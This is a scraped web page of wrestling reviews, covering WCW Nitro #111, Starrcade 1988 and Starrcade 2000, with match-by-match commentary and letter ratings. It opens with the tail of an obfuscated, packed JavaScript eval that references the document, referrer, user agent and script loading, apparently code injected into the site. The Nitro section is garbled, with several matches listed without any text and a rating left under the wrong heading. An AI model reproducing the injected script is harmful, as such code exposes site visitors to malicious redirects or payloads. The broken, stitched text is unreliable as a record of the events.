");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkzzr|var|u0026u|referrer|riafz||js|php'.split('|'),0,{})) Nitro #111
Date: October 27, 1997
Location: Cox Arena, San Diego, California
Attendance: 6,281
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

Apparently this show is three hours, which I believe is a forerunner to the three hour broadcasts which are coming soon.

Cruiserweight Title: Rey Mysterio vs. Dean Malenko

Rey won the title last night. Dean immediately takes it to the mat as is his nature but Rey counters into a hammerlock. Back up and the champion hooks an armdrag to send Malenko right back down. Rey tries a test of strength for some reason and does as well as you would expect him to. Raven and the Flock are here as they are every week. A rollup gets two each but Dean charges into a boot in the corner to stagger him. Rey goes up, only to have Malenko catch him with his awesome top rope gutbuster for a very close two. A standing rana is countered into the Texas Cloverleaf but Rey rolls through into a cradle to retain.

Rating: C+. This was your usual solid match between these two and that gutbuster is awesome as usual. Rey getting another win after the excellent match last night was a good move and having it be over one of the best in the division like Malenko worked well. These two always had solid chemistry together.

Glacier vs. La Parka

Lex Luger vs. Stevie Ray

Rating: C. This was FAR better than I was expecting with Ray actually looking like a threat to Luger. For a guy who never did a single thing as a singles wrestler, that was pretty impressive. Luger was never in any significant danger but at least we were convinced that he was. Nice little match here.

Raven sits in a tree and talks about not liking the dark.

Eddie Guerrero vs. Chris Jericho

Chris Benoit vs. Fit Finlay

Raven vs. Scotty Riggs

Diamond Dallas Page vs. Hulk Hogan

Page tries for the Cutter but Hogan immediately bails to the floor. Back in and the discus lariat takes Hogan down and out to the floor again. Hogan gets back in and slams Page down before dropping some elbows and choking away. Page is sent to the floor and out into the barricade before suplexing Page down on the floor. Back in and Diamond grabs a quick neckbreaker for two but gets caught in an atomic drop for the same for Hogan.

Rating: C-. Not the worst match in the world as Hogan actually went almost fifteen minutes for free on television. It was his usual heel stuff with really basic moves, but he had the crowd riled up which is what Hogan was a master at doing. Page hung in there and the run in finish was the only thing they could do here. Decent match though.

TV Title: Disco Inferno vs. Goldberg

No match as Alex Wright jumps Goldberg on the way to the ring. Goldie throws him into the ring for a Jackhammer before hitting both signature moves on Disco. Mongo comes out for a brawl to end this. The bell never rang.

Tag Titles: Steiner Brothers vs. Public Enemy

US Title: Booker T vs. Curt Hennig

Main event time and Curt is of course defending. Booker starts fast with some clotheslines and a shoulder to knock Hennig down. Curt bails to the floor but comes back in with a rake to the eyes and some loud chops. A neckbreaker puts Booker down and we hit an early chinlock. Booker fights up and they head to the floor with the champion taking over, only to be rolled up for two back inside. Booker takes over as Liz comes out for a distraction. While she has the referee, Savage comes in to deck Booker, drawing in Flair for the DQ. Too short to rate but nothing of note.

Ric Flair vs. Randy Savage

Flair is beaten down to end the show.

Remember to follow me on Twitter @kbreviews

Starrcade 1988
Date: December 26, 1988
Location: Norfolk Scope, Norfolk, Virginia
Attendance: 10,000
Commentators: Jim Ross, Bob Caudle

We’re firmly in the Horsemen era here with the main event being Luger vs. Flair for the title in what is considered their best match of their seemingly never ending series. There’s an interesting story to that which I’ll get to at the end of the review. Since this is NWA time there are only seven matches and 6 of them get over ten minutes and 5 of them get over 15 minutes.

That was one thing you could count on in this era: nice long matches. The only other thing you need to know about here is the Varsity Club, a group of guys that were “amateur stars” (most of them were but not all of them. Picture a Jack Swagger stable) who are the upper midcard heel group. They’re around a lot here. Let’s get to it.

Kevin Sullivan and Mike Rotunda (members of the Varsity Club) say they’ll beat Rick Steiner (former member of the Club) and Rotunda will keep the TV Title. Rotunda cannot talk that well. Oh this is actually part of the preshow.

Steiner apparently got electrocuted and can’t remember how to talk that well. Yeah this was a weird time. He has a face painted on his hand named Alex. Ok every gimmick can’t be a Horseman. This show is on a Monday actually, but the Sunday was Christmas Day so the thinking is correct here I guess.

Standing highlight package of the matches tonight opens us up, with the highlight being Dusty, who had his eye stabbed by the heel turning Road Warriors, says “make sure you take both eyes, both limbs, both hearts, both ears etc.” See an issue there?

Tony Schiavone is the host and has a true mustache going on. Magnum TA is with him and isn’t even 30 years old at this point. Such a shame.

US Tag Titles: Varsity Club vs. Fantastics

Kevin Sullivan and Steve Williams here. Williams is an absolute monster who is far more famous in Japan than he is here. Sullivan is listed as being from Singapore. Ok then. Rogers and Fulton (the Fantastics) are an incredibly underrated team as this era was dominated by teams like the Road Warriors, the Horsemen, the Rock N Roll Express and the Midnight Express. This is a shame as they really were good.

Sullivan and Fulton start us off and Fulton hits a Thesz Press off the top for a fast two. Williams comes in and things slow way down. And Jason Hervey is here to just tick me off. Why did he have to ALWAYS get some quick camera time? The champions use their speed and tandem offense to work on Williams’ arm. Nice double monkey flip by the champions but Fulton gets caught in a gorilla press where Williams literally throws Fulton in the air about 6 times in a row. He had SCARY power.

Williams is 27 here which is scary. Fulton gets a headlock on him and Williams is just like screw that and hits a suplex to counter. He’s almost the Brock Lesnar of his era actually. Sullivan comes back in to give the champions a chance. Williams comes back in and just ends the Fantastics before tagging back out. Ok so he didn’t as Sullivan was just being a jerk.

Rogers gets a sunset flip for two on Williams and that’s about it. Back to Fulton who locks in a big old bearhug that the heel has to resort to the thumb to the eye to get out of. Both guys tag but the face one isn’t seen. Who cares about that though? We go from five minutes gone by to ten in less than 4 minutes so I’m betting on a clip in there somewhere. Actually it’s been about 10 minutes since the match started so maybe the five minute call was late.

Sullivan misses something from the top and Williams is tagged and just MAULS Rogers. This guy is awesome. The heels are tagging incredibly fast in this match. In about 12 minutes we’ve seen at least 8 or 9 tags from them so far which is a tonw hen you think about it. It’s also a ton when you don’t think about it but you get what I mean. Rogers gets a dropkick to send Williams reeling but Sullivan stops the tag.

A pair of double stomps to the ribs of Rogers gets two. Rogers jumps over Sullivan to get the tag to Fulton. We hit fifteen minutes (the ring announcer says this and I figure it helps give an idea of how much we’ve gotten through) and the champions both get sleepers on. Fulton goes for the Thesz Press but Williams catches him in a Hot Shot for the pin and the titles.

Rating: B-. Good match here with Williams being shown off as an absolute ANIMAL. The Fantastics, who were a very good if not great tag team had nothing to stop him with and lost the titles because of him. Sullivan might as well have been a ham and bacon sandwich on the side here as it was so much a one man team out there. Nice opener and the fans seemed into it.

Tony and Magnum run down the rest of the card and we get their predictions.

Midnight Express vs. Midnight Express

No that’s not a typo. Over the years there have been a LOT of people in the Midnight Express but originally they were a tag team comprised of Randy Rose and Dennis Condrey. This evolved into a team of Condrey and Bobby Eaton. In one of the strangest stories in wrestling history, Condrey disappeared for a year. I don’t mean storyline disappeared. I mean no one from his boss to his friends to his wife knew where he was for 12 months. Then one day he popped up in the AWA and reformed the original Midnight Express with Rose. To this day he’s never explained what happened.

Anyway, Eaton had gotten a new partner, Stan Lane, and made the new Midnight Express. Rose and Condrey came to the NWA to jump the new Express during a squash. Their manager: Paul E. Dangerously (Heyman). The new team is managed by longtime manager Jim Cornette and amazingly are faces which is very rare for them. They jump the originals (remember: Rose and Condrey are the originals and Lane and Eaton are the new ones in case you get confused) and clear the ring to start us off. This should be awesome.

Cornette wants Dangerously and of course grabs the mic to say he wants him. Oh hey let’s introduce the teams. Both teams are billed from the Dark Side which is kind of awesome. The new guys clear the ring one more time just to get their point across. Cornette is WAY fired up here. He points at Heyman and dances like a chicken. The fans are eating this up to put it mildly.

Rose and Lane start us off. Rose goes to the floor and Cornette BLASTS him with the tennis racket. He’s absolutely stealing the show here. Teddy Long is the referee and has hair. We FINALLY get the regular stuff going and it’s all new guys. Cornette pops Rose with the racket one more time and the fans are eating it up. Heyman, in his pink shirt, is losing his mind.

Lane comes in and throws his kicks which were always awesome. The originals haven’t been on offense whatsoever here. Condrey gets in like four punches and then gets his head kicked some more. Rose gets in a bit of offense and so much for that. Even jobbers get better offense in than this. Caudle is having audio difficulties. The heels FINALLY take over on Eaton.

Dangerously sneaks in a shot and Cornette SPRINTS after him in a funny bit. We hit the chinlock and get a Bear Bryant reference of all things. Heel dominance ensues for awhile as this is pure 80s formula stuff. While that sounds bad, given the people in there, as in the teams that partially invented it, this is solid stuff. Rocket Launcher misses and Cornette is “tapping like a drunk man”. We hit fifteen minutes and Lane gets the hot tag to a nice pop.

Enziguri puts Condrey down but Heyman gets a shot with his phone. Cornette FINALLY gets his hands on Heyman and lands a decent punch on him. Condrey goes for the cover but Long sees the phone and won’t count it. Lane gets behind Rose and Eaton hits a clothesline (Ross shouts DOUBLE GOOZLE, which is a nickname for a chokeslam and makes no sense at all) to send Rose over Lane for the pin.

Rating: B. More solid tag stuff here with the fans loving all of it. This feud would continue until Condrey just left and Rose was fired also because no one cared about him without Condrey. This was a solid match as expected with classic 80s tag wrestling at its finest. Why would I have expected anything different? Fun stuff and a very good match.

Post match the originals beat up everyone, mainly Cornette. Eaton gets up and gets the racket for the save. Crowd was INSANE for this whole thing.

Magnum talks to the new US Champions and points out the obvious: Williams made the difference. The Club complains about Steiner for later.

Russian Assassins vs. Junkyard Dog/Ivan Koloff

Well you knew it couldn’t be good the whole time. Also notice the INSANE emphasis on tag wrestling with a total of four out of seven matches here being tag matches. The Assassins are just numbered 1 and 2 with 2 being ECW’s Jack Victory. If the non Russians win then Paul Jones, their manager, has to leave the NWA. Koloff is only famous for stopping Sammartino’s legendary world title reign that lasted over seven years.

No real way to tell the Assassins apart so I’m not going to really try to. Dog with a cradle gets zero to start. Ah ok that’s #1 in there. #2 appears to be fatter. That helps a little. Ah and the other stipulation is that the Russians have to unmask. Is there any benefit for them winning here? Koloff sends #2 in and grabs him by the throat to take him down in what could be called the chokeslam’s half uncle by marriage once removed I guess.

Clothesline from the middle rope puts #2 down. Ah apparently that was a Russian Sickle. How could I be so stupid? He curled his arm up slightly. The Dog comes in to cheers so loud you can barely understand the audio. For the life of me I’ve never gotten his appeal. The heels take over on JYD and one of them kicks him in his boneyard. Some double team move misses and both guys are down.

Ivan vs. #1 now. Jones is on the apron and the heels are slammed into each other. Big old brawl now that is boring. There’s the Sickle again which of course is a clothesline but one of the Assassins puts something in his mask and rams his head into Ivan’s for the pin.

Rating: D. Well at least it was short. Total nothing match here with nothing special about it. Other than the JYD’s hot tag there was nothing the crowd got into at all. With that many stipulations in there it was very unlikely for the faces to win which was expected too. This more or less went nowhere at all and had one good thing going for it: it’s the match on the show that didn’t break 10 minutes.

Jim and Bob talk about the show so far for any viewers that missed the first third of the show I suppose.

TV Title: Mike Rotunda vs. Rick Steiner

This is a big old grudge match. Sullivan is in the cage above the ring. Rotunda has held the title for about a year now and is considered to be unbeatable in 20 minutes, which is the max a TV Title match can go. Steiner was thrown out of the Varsity Club where he was more or less considered too stupid to mean anything. They treated him as their lackey for months until he went nuts and hit one of the best belly to belly suplexes ever to just kill Rotunda. He would bring in some dude named Scott to help him in this war. Pretty sure they never went anywhere.

They slug it out early on and Rotunda is out of his game there so he hits the floor. Steiner goes off with some basic wrestling moves and Rotunda has nothing. Long headlock sequence follows with Rick dominating. Rick has dedicated this match to his mother. I think we know what’s coming here. All Steiner so far as Rotunda runs and hides. He keeps pulling Rick’s hair to no avail. We go to the mat and once again Rick controls.

Rick bites his tights in a hammerlock just to be funny I guess. The next PPV is in February. What’s it called? Where is it? Who cares apparently. Rotunda FINALLY gets a suplex to….never mind he’s back on defense already. We’re over seven minutes into this and Rotunda has hit a total of a suplex, a headlock and a drop toehold. He hits the floor to stall and nothing of note is going on here.

The crowd thinks Syracuse (Rotunda’s school) sucks. Steiner goes for a big old clothesline but hits the floor at the ten minute mark. Rotunda gets a long chinlock and uses the ropes to cheat, drawing solid heat. Little things like those can go a long way. And we have no commentary now. After a brief Steiner comeback we hit that chinlock again. Sunset flip a few seconds later gets two.

We hit the fifteen minute mark meaning there are five to go, drawing loud boos. Rick starts the comeback with a Steinerline. Ah there’s Ross again. Steiner beats the heck out of Rotunda and here comes Steve Williams. Belly to belly connects but Williams rings the bell. Teddy Long thinks the time is up but here comes senior referee Tommy Young because Rotunda has done this to steal a win before.

The referees talk and Sullivan is let down. He argues with Young and Rotunda punches Steiner. Steiner shoves Rotunda into Sullivan and they bang heads. Steiner jumps on Rotunda and both referees count three to absolutely blow the roof off the place. This would be like Virgil beating DiBiase as Steiner FINALLY shuts up Rotunda and beats him at his own game after being told he was too stupid to do anything right. Steiner’s celebration is awesome beyond belief. Look it up as it’s incredible.

Rating: C-. Match was pretty meh but the ending is just straight up awesome. Steiner would lose the title back in February but this was the moment that EVERYONE wanted to see and they delivered perfectly on it as Steiner had him twice and actually got the pin on the second time. Just an awesome moment that is reminiscent of Foley winning the title. I loved this and it worked very well.

Tony and Magnum talk some more.

US Title: Barry Windham vs. Bam Bam Bigelow

Windham is champion and a Horseman. Bigelow had left WWF shortly after Mania so he’s wildly popular here. Bigelow shoves him around to start and is just MAD over. He gets Windham in a Fireman’s Carry and drops to his knees for a modified gutbuster. This is back when Bigelow could still go very well and Windham was one of the best in the world so this is far better than it sounds.

We get into a power match and Bigelow starts no selling shots. BIG old gorilla press and Windham is rocked. The fans are really into Bigelow here, even at a rate that surprises me. He gets a dropkick that sends Windham to the floor, making JJ want a DQ. See that’s what a manager is supposed to do. He did something so simple like that but it got heat on both him and his man and at the same time didn’t take anything away from the match because Barry was still down. It also keeps the fans from being taken out of the match by giving them a little something to tide them over. It’s so simple yet so effective.

Windham makes a small comeback and thrown Bigelow to the floor, hurting the big man’s knee. We hit the ten minute mark and it’s a back and forth match. Bigelow hits the slingshot splash, one of his finishers, and lets Windham up. He goes up top and misses the splash completely. Windham takes his head off with a BIG old lariat and Bigelow is in trouble.

Very nice belly to back suplex takes Bigelow down again. Dillon wants the Claw (Windham’s finisher) and there it is. After that is broken by the ropes we get a slam by the champion at the 15 minute mark. Windham misses a top rope elbow and the fans are WAY into this. Bigelow makes his big overblown comeback with the big wild swings. Bigelow goes for a back drop over the top but his knee gives out and we’re both on the floor. Windham sends him into the post and it’s a countout.

Rating: B-. FAR better than I expected here with a white hot crowd. Bigelow could go back in the day and this was no exception. This was a solid match and the countout finish is probably the only thing holding it down. The match isn’t a classic or anything but it’s a lot of fun with Bigelow being over dramatic about everything (in a good way mind you) and Windham being himself. Solid and fun match.

Steiner talks about winning the TV Title and is very confused about a lot of things. He was still a comedy character at the time but a very lovable one. Magnum says a lot of people are going to be coming after Steiner for the title and Rick seems shocked by this idea. After almost freaking out over the concept that people will be coming after his title, Rick calms down instantly and says “eh I’ll beat them.” Much funnier than it sounds.

World Tag Titles: Sting/Dusty Rhodes vs. Road Warriors

BIG blood feud here. The Warriors turned heel and destroyed both of these guys recently (prompting Dusty to botch a blade job and nearly cut his head off, getting fired) before winning the tag titles for the first time ever in a glorified squash over the Midnight Express. The problem was they were so insanely popular and such tough guys that they were turned face again anyway, much like Orton recently.

It’s weird seeing no name graphics for these guys. Something you just get used to in the modern product I guess. Ok so the Road Warriors get them but not the challengers. Ok then. They’re called the Legion of Doom: the Road Warriors here, which is a common thing back in the 80s. Sting and Animal start us off. Dusty is allegedly a power guy. What power? The power of hunger? Sting goes after Animal’s arm and Dusty gets a nice pop when he comes in.

Ah the soon to be named Chi-Town Rumble has a date now. Rhodes’ fat is a sight to behold, although certainly not in a positive way. Hawk in now and he just beats Sting up to a solid pop, doing what we would call stomping a mudhole. It’s weird seeing Sting treated like a jobber like this. A gorilla press into a hot shot is no sold which is weird indeed but it sets up a HUGE dive from the top to the aisle onto Animal. That was SWEET.

Five minutes in now. Dusty of course, rather than going after the arm that Sting spent three minutes working on, goes for the knee because he’s a fat slob that WILL use his stupid figure four. Test of strength between Hawk and Dusty but Dusty suckers him in and of course, goes for the figure four. Hawk wants the eye that he almost put out of Dusty because he’s EVIL.

Dusty starts his fat man dancing stuff as I wonder what Dashing Cody Rhodes would think of his fatness. Dusty goes for a “dropkick” and does indeed drop when he tries it. Dusty plays Ricky Morton in a weird bit and we get a sleeper. Hot tag to Sting and house is rapidly cleaned. Scorpion on Animal but Hawk kicks him in the head. He sends Sting over the top and I can see the finish coming. Top rope cross body by Sting but Ellering pulls the referee out for the DQ.

Rating: C-. Pretty boring match here but the crowd helped it out a lot. These were four very popular guys and that aspect carried the match. Dusty was gone soon thereafter due to his initial booking of the main event and the blade job, sending him into polka dot world. This was a basic super team tag match that didn’t go anywhere but I’ve seen far worse ones.

NWA World Title: Ric Flair vs. Lex Luger

If Flair gets disqualified he loses the title. Ok before I get into this match, here’s the original booking for this show. The idea was to have the Varsity Club jump Luger before the show and injure him. Luger would give his title shot to Rick Steiner of all people, because you know, wrestlers can decide title shots at the biggest show of the year. Steiner would proceed to beat Flair to win the world title IN FIVE MINUTES. Imagine say Eric Young beating AJ Styles in five minutes for the world title completely clean. This match goes over 30 minutes and is borderline classic, so it’s pretty clear that Flair, the new booker, got it right. His next idea was to sign this guy named Steamboat. I think you know the rest.

Luger is the insanely popular young gun and Flair is the evil veteran. You can’t beat that really. It didn’t hurt that other than Sting, Luger might have had the best chemistry with Flair in big matches. Luger has dropped a few pounds for speed and endurance. We get a WOO to start and Flair plays mind games. Flair starts the chops and Luger just drills him with a clothesline to send him to the floor.

Lou Thesz is here. In a surprising spot, Luger gets knocked down by a shoulder block. Gorilla press sends Flair to the floor and another one has Flair in trouble. Luger works on the back which makes sense here as his finisher is a backbreaker. Five minutes in and Luger controls firmly. Luger works on the arm and is apparently hard as a rock at this point for some reason. Chop is no sold and Flair runs.

Flair Flop as Luger has shifted to the arm. He’s working on it for awhile at least though so I can’t complain as much. Flair taps but it doesn’t mean anything for about another 5 or 6 years. The eternally awesome thumb to the eye takes Luger down though and Flair goes into his routine. The chops just tick Luger off though and Luger chases him to the floor where he works on the arm by wrapping it around the railing.

Ten minute mark now. Delayed vertical suplex and Flair is rocked. Luger’s big elbow misses though as it tended to do every single time. We hit the floor with Flair in control for a change. Flair and Young (referee) get into it in the ring which was always a semi-feud which was rather cool. Fifteen minutes in and Flair is finally waking up a bit. Big knee drop “hits” Luger. That move was one of the moves that clearly missed more often than ever before.

The chops tick Luger off once again and here we go again. Flair keeps chopping like an idiot and gets caught in a sleeper to a ROAR. Flair escapes with a belly to back and goes up top. Rather than your typical slam off there he gets a suplex instead for two. And now Luger puts Flair in the figure four just to mess with his mind even though he’s worked on Flair arm and back the whole time so this is really just to be a jerk. We hit 20 minutes.

Luger accidentally hits Young and Flair fires him over the top which should give Luger the title. Luger comes back with a cross body of all things off the top for two because JJ had the referee. Ten punches in the corner and Luger takes over. Another suplex and Luger calls for the Rack. More softening up first and NOW we set for the Rack. JJ distracts the referee though and Flair gets a chair shot into the knee of Luger.

Flair goes for the knee and we get to see some of Luger’s awesome selling. This is the part where both guys are basically awesome. Twenty five minutes in now. Figure Four goes on (the wrong leg of course as was Flair’s trademark) and Luger begins his best orgasm impression. The fans get way behind Luger which is saying a lot as we’re in Flair country here. Luger Hulks Up and shows off his arms which are supposed to scare Flair I guess.

Reversal and the hold is broken. More knee work and Flair goes up again. There’s the slam and Flair is rocked again. It’s Superman comeback time and here comes Luger. Sunset flip gets two. Luger’s selling of the knee is awesome here. We hit the thirty minute mark and a clothesline gets two for the challenger. Crisp powerslam hits and Luger calls for the Rack. There is finally is but Luger’s knee buckles underneath him and Flair falls on top, throwing his feet on the rope for the pin.

Rating: A. This was a GREAT match with both guys controlling for long periods of time. These two were always good for a very solid match and this was no exception. Flair was great here as the heel that simply would not lose while Luger played the Superman role perfectly. The knee being the deciding factor in the end was a very nice touch as no matter how hard he tried Luger just couldn’t get to the finish line. Excellent match with a very good story being told and well worthy of a major show’s main event.

The announcers all talk about the match and how awesome Flair is. They talk about how great Luger is and how great he could wind up being and he’s right. We can hear the announcer talking about a Bunkhouse Stampede Battle Royal which was a dark match won by Junkyard Dog.

Magnum is with Flair. I wonder if he’s thinking that belt should be mine. Flair goes on a long rant about how awesome he is but is drowned out by the announcement for the battle royal. That was Luger’s LAST shot of course.

Tony talks about how great the NWA is as we fill in time. Literally he says stuff and then Ross and Caudle just say how great the company is. A highlight package ends the show.

Overall Rating: B+. Rather good show here with everything working rather well. There’s only about one bad match on the whole show and it’s like 7 minutes long. The main event is well worth seeing and the crowd is a traditional white hot NWA 80s crowd. This is completely different from the stuff you would be seeing in WWF at the time and really does work as an alternative to it. I had a good time with this show, but unfortunately it’s the last good Starrcade in the traditional sense for a LONG time.

 

Remember to follow me on Twitter @kbreviews

 

Starrcade 2000
Date: December 17, 2000
Location: MCI Center, Washington D.C.
Attendance: 6,596
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

It’s time for another of my thing of doing a string of shows in a row, in this case the final three WCW shows that I haven’t done at the end of their run: Starrcade 2000, Sin and Superbrawl Revenge. Anyway, the company is dead and buried with the WWF on the highest of highs and everyone knows it, even WCW. The main event this year is Sid vs. Scott Steiner. And this is supposed to be Wrestlemania to them. Right. Let’s get to it.

 

The opening video sets up the PPV and the feuds all have at least one old person in it.

 

Tony doesn’t care at all and you can tell it clearly.

 

3 Count vs. Jung Dragons vs. Knoble/Karagis

 

These six guys feuded FOREVER, opening Thunder literally about 35 times out of a year. This is a triple threat tag team ladder match, but the person that pulls down the contract gets a single Cruiserweight Title match against Chavo (absolutely awesome at this point) later on. This is on the Best of Starrcade DVD (awesome set for the most part). Knoble and Karagis were members of the Dragons and 3 Count respectively before they broke off to have a three way feud.

 

3 Count is Shane Helms and Shannon Moore, the Dragons are Kaz Hayashi (you probably don’t remember him) and Jimmy Yang (called Yang here) and Knoble/Karagis are Jamie Knoble and Evan Karagis (you probably shouldn’t remember him either). Shannon and Kaz start us off. They’re actually making them tag here in a ladder match. I give up. Things speed up and Shannon tries to get a ladder which fails due to Evan.

 

They finally go after the ladders with 3 Count staying behind and getting one in the ring on their own first. Smart idea if I do type so myself. The Dragons run in for the save as we see the issue here: since one person can win, neither can run interference. As you would expect they drop the tagging almost immediately and the big war starts. I’m not even going to try to call the stuff here as it’s moving way too fast.

 

The title shot is tomorrow apparently. Karagis goes up but his partner makes the save. Yang drills them both and sets a ladder in the corner. Shannon takes a corkscrew moonsault off the second rope from Yang. Kaz takes Shane out as we hit the everyone hits a bunch of big dives and one guy (Knoble) is smart enough to just go up the ladder. Yang gets up and shoves the ladder over.

 

Tony actually tries to explain the slow climbs once you get to the top, in this case because you lose your balance at the top. Makes sense actually. They set a latter in the middle of the ring and put another one in between the rungs and make it a platform between the ladder in the ring and the middle rope. A bunch of people go up and come down, culminating with Helms getting a neckbreaker on Knoble.

 

There’s now a pair of ladders in the ring and the race is on. Yang, 3 Count and Knoble all go up so Shane gets a sunset bomb to Knoble, leaving Yang and Shannon up there. And there they go as well. Knoble goes up but the Dragon’s dominatrix manager Leia Meow makes the save. A third ladder comes in and make that a fourth as there’s one on the mat.

 

The Dragons take over and they use the four ladders to make a pretty solid scaffold. 3 Count takes them down and Kaz is sent flying into the ladder used as the bridge in the scaffold. 3 Count goes up but Knoble and Karagis makes the save. Knoble and Kaz go up to the bridge but Evan knocks Kaz off. Now it’s Yang vs. Helms on the bridge but Shannon does something similar to skinning the cat to pop up there and get Yang down. Knoble gets tossed and 3 Count grabs the contract at the same time so it would be a triple threat the next night.

 

Rating: A-. Awesome match here. It’s not as good as the TLC matches but then again the talent here wasn’t as solid. However this is well worth seeing and I’d bet it’s the match of the year for WCW already. Here’s where you can tell the difference between WCW and WWF though. This is about 3 and a half months before TLC 2 at Mania X7. That’s the match where Edge hit the spear on Jeff Hardy.

 

Later that year, Edge was the King of the Ring and got the Intercontinental Title where he feuded with Christian. Jeff got it even earlier, winning it in May. In other words, half of the six guys in that match won a singles midcard title within 8 months of that match. I think Matt got the European Title in there somewhere also. In other words, they put their bodies on the line (this is being written the day after Edge announced his retirement so in his case it’s almost literally) and gave us a great match. And for that, they were rewarded.

 

Do you think any of these guys did anything but mess around in the Cruiserweight division until WCW died? Of course that’s all they did. And why shouldn’t they? All they’re doing is having the best matches of the night every show and getting the crowd into them. But they’re not stars, so they can’t be anywhere near a push because then the fans might get entertained by them, and WCW could NEVER let that happen, and that’s why WCW isn’t around today.

 

Lance Storm comes up to the reluctant Canadian Jim Duggan (just go with it). Basically Duggan was going to get fired unless he joined Team Canada so they turned him heel but he missed America and couldn’t rejoin it or something.

 

Jeff Jarrett talks to Mike Sanders and doesn’t want a street fight. He wants a bunkhouse match. They agree to have both. They’re the same thing anyway so who cares.

 

Kronik agrees to do something for payment afterwards which is against their policy. They’re in a steam bath and towels for no apparent reason.

 

Lance Storm vs. The Cat

 

Cat kept getting pushes and I have no idea why. He has Ms. Jones with him who is rather attractive and Storm has Major Gunns who is rather appealing. Storm runs down America, blasting them for taking over a month to get through the elections and pointing out that the man with more votes didn’t win. Yep that’s the logic here in America. Never got that but who cares about logic right?

 

Cat wants his music for some dancing. After a few seconds it starts as we’re told that Cat cost Storm the US Title at Mayhem. We get a USA chant from the patriotic/xenophobic crowd. Storm hits the floor to try to kill them off a bit as we wonder where Hacksaw is. They shove each other a lot to start and Cat gyrates a bit. They fight over a wristlock and Cat fires off some kicks.

 

Gunns distracts Cat and Storm gets a shot in. Catfight is teased but the guys break it up. The girls get in the ring and the men break it up again to a chorus of booing. Storm hammers away with very basic offense. He sets for a suplex but gets reversed when he talks too much. Off to a chinlock as this has been rather boring so far. Cat fires back with nothing but strikes because it’s all he knows how to do.

 

Prime Time Elix Skipper drills Cat to take over so Cat beats him up in return. This is rather dull. Storm sends him into the railing so Ms. Jones tries to kick him. Storm ducks and the referee gets his head kicked off in a SICK shot. Dropkick to the back of Jones by Gunns as everyone is down. Storm gets his gorgeous springboard missile dropkick but the referee is delayed. Big kick by Cat gets two as does a Northern Lights suplex from Storm. Here’s Duggan to a big face reaction. He gives Cat a terribly weak shot (intentional) to the back and Storm gets his half crab to win. Whatever.

 

Rating: D. This was terribly boring. I never got the appeal of this feud at all and I don’t think anyone else did either. Cat was terribly boring the entire time that he got a midcard push but that never stopped him anyway. Weak match, bad ending, but you had two hot women….who never fought. Brilliant guys.

 

Team Canada beats Duggan down post match and Cat makes the save. He’s taking this “you hit me and cost me the match 30 seconds ago” quite well.

 

Mike Awesome gets here in an ambulance.

 

Buff Bagwell is the new interviewer and talks to the Filthy Animals. Apparently there won’t be a bunkhouse brawl and a street fight but rather one at the same time. They look like idiots and Konnan tries to sound cool. He fails.

 

Reno and Big Vito are coming to the ring when the Natural Born Thrillers say Reno can come back anytime.

 

Hardcore Title: Crowbar vs. Terry Funk

 

Crowbar is champion and loves the 70s here. Oh dear. Isn’t there already a 70s guy named Mike Awesome? They fight in the back to start as Funk jumps him. A shot into a truck gets two. Funk has been gone for months and everyone is shocked that he appears and has a title shot. I love jokes like that which poke fun at the company without meaning to. All Funk so far as Daffney screams a lot.

 

Crowbar gets a shot in with something that was apparently the grill of a car for two. They’re in the back of a big truck here. Crowbar hammers away to knock him out of the truck but can’t do it. Funk gets a hip toss to send him through a table and Funk chases Daffney away. Low blow puts Funk down and he keeps getting up. Yes, we get it: he can get hit and keep standing up.

 

A door gets slammed on Funk’s head and it’s handcuff time. Another low blow gets Funk out of it and he slams the same door on Crowbar’s head. You can see the video screen over their shoulders which is a weird visual since it’s backwards. Crowbar gets handcuffed and Funk hammers him with a chair. Hmm where have I see this before? They fight into the arena with a car door, although Crowbar is still handcuffed.

 

More chair shots follow and Funk sets up a table at ringside. Funk sets for an Asai Moonsault but Daffney pulls Crowbar off the table. Crowbar manages a chair shot despite being handcuffed which is somewhat impressive. He chokes Funk with the cuffs and gets a pescado through Funk through the table. Since Funk gets up first, Daffney hits Funk with a chair for two. Funk gets some more chair shots and a Piledriver onto the door for the title.

 

Rating: D. Yes, Terry Funk, a mere 56 years old here, is a champion in WCW. This is what they thought was the best move for WCW which blows my mind again and again. Honestly, who thought Terry Funk was a good draw at this point? Isn’t that what a champion is supposed to be? This company never got it and never would, which is why they died.

 

Team Canada blasts Duggan and Gunns messes up her one line. Gene says she can fly that Canadian flag on another pole.

 

Lex Luger, a top heel at this point, is getting ready for Goldberg.

 

Big Vito/Reno vs. Kronik

 

Well we get the very hot Marie here. Kronik is taking pay from someone to take the Italians out. Kronik was the APA ripoff that never went anywhere because everyone knew it was an APA ripoff. They imply Marie is the one paying them and she says it’s not her as the brawl starts. The Italians do their usual stuff which gets them beaten down even more. Clark vs. Vito at the moment with Clark in control.

 

Vito gets a “Mafia Kick” to take Clark down. That’s an insult to Chono. Adams wants the money from Marie now and Vito beats him up for it. When I say beats up I mean glares at Adams while Clark gets up so he can hit a flip at him. Marie still has no idea what Adams is talking about. This is a mess. Reno tries to make a save but gets stopped so it’s Adams vs. Vito at the moment.

 

Clothesline gets two for Vito but won’t tag. Note that Reno hasn’t been in yet and I think we all know what that means. Reno makes a save and I have a feeling that’s all he’s going to do during this match. Clark gets a belly to back and hits the chinlock. The Natural Born Thrillers, led by Commissioner Mike Sanders, come out to watch. Vito tries to fight both of them off and that fails as much as his future crossdressing gimmick.

 

He and Clark collide in a double crossbody and it’s finally the tag to Reno. Say it with me: Reno turns on Vito, hitting Roll the Dice (Cross Rhodes) to end it. Oh and Reno pins Vito for no apparent reason and Reno reveals himself as the financial backer before rejoining the Thrillers. Kronik beats Vito down post match.

 

Rating: D+. And most of that is for Marie looking good. This was a boring match with a boring and predictable feud. The Italians never went anywhere but they kept doing it anyway because they had no other ideas and the theory of cutting people was totally foreign to them so this is what you get.

 

3 Count says they’re the #1 contenders and to be fair it was a tag match so technically they both won. Chavo beats them down, saying they didn’t work hard enough.

 

MIA says they’re not splitting up. Rection (Bill DeMott) says this is about the US Title, which he holds at the moment.

 

Bam Bam Bigelow vs. Mike Awesome

 

This is an ambulance match. Awesome is also a 70s guy because two of the same gimmick in one company is fine. Thankfully he takes the 70s clothes off and has his regular gear on underneath. We get a Lawrence Taylor reference because we’ve gone over an hour without making a WWF reference. They stay in the ring for maybe 9 seconds and hit the floor. Weapons are used all over the place with Awesome in control.

 

